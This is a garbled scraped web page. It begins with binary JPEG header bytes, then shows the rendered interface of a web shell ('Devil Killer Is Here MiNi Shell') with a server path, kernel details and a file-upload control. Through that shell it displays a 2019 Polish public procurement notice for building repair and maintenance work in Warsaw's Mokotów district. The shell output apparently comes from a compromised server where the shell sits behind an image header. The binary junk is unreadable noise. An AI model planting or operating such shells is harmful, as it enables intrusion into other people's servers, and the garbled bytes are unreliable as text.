JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20190924/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20190924/601349-N-2019.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 601349-N-2019 z dnia 2019-09-24 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Zakład Gospodarowania Nieruchomościami w dzielnicy Mokotów m.st. Warszawy</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Wykonywanie bieżących robót remontowych oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków i lokali, przeglądów, okresowych kontroli, usuwania i zabezpieczania awarii oraz innych czynności w branży ogólnobudowlanej niezbędnych do utrzymania w ruchu budynków i lokali gminnych będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów położonych na terenie : DOM Służewiec, DOM Wierzbno", DOM Wiśniowa, DOM Madalińskiego, DOM Konduktorska, DOM Polkowska .</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Roboty budowlane</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Nie</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu"></span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej - mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Zakład Gospodarowania Nieruchomościami w dzielnicy Mokotów m.st. Warszawy</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">10858407000000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">ul. Irysowa</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">19</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">02-660</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Warszawa</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">mazowieckie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">022 5493727, 5493737</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">zamowienia@zgnmokotow.waw.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">225 493 737</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">www.zgnmokotow.waw.pl</span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Jednostki organizacyjne administracji samorządowej</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny"></span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia">www.zgnmokotow.waw.pl</span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">www.zgnmokotow.waw.pl</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Nie</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">w formie pisemnej</span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">ul.Irysowa 19, 02-660 Warszawa</span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Wykonywanie bieżących robót remontowych oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków i lokali, przeglądów, okresowych kontroli, usuwania i zabezpieczania awarii oraz innych czynności w branży ogólnobudowlanej niezbędnych do utrzymania w ruchu budynków i lokali gminnych będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów położonych na terenie : DOM Służewiec, DOM Wierzbno", DOM Wiśniowa, DOM Madalińskiego, DOM Konduktorska, DOM Polkowska .</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">TZ-PNK.260.83.2019</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Roboty budowlane</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy"></span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">3.1. Zamówienie składa się z 6 części (6 DOM-ów). Część I DOM Służewiec, Część II DOM Wierzbno", Część III DOM Wiśniowa, Część IV DOM Madalińskiego, Część V DOM Konduktorska, Część VI DOM Polkowska. W ramach każdej z części zamówienia w zakresie przedmiotu zamówienia Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu: 3.1.1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:3.1.1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,3.1.1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 3.1.1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,3.1.1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków3.1.1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,3.1.1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 3.1.1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti. 3.1.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym: 3.1.2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.3.1.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,3.1.2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz. 3.1.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych. 3.1.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,3.1.5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 3.1.6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,3.1.7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia). 3.1.8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 3.1.8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów. 3.1.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w 